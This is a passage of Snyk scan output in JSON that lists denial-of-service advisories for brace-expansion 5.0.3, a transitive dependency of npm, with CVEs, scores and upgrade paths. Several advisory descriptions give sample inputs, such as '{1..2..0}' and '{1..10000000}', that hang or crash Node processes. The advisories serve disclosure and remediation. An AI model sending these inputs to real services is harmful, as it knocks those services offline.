"isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": 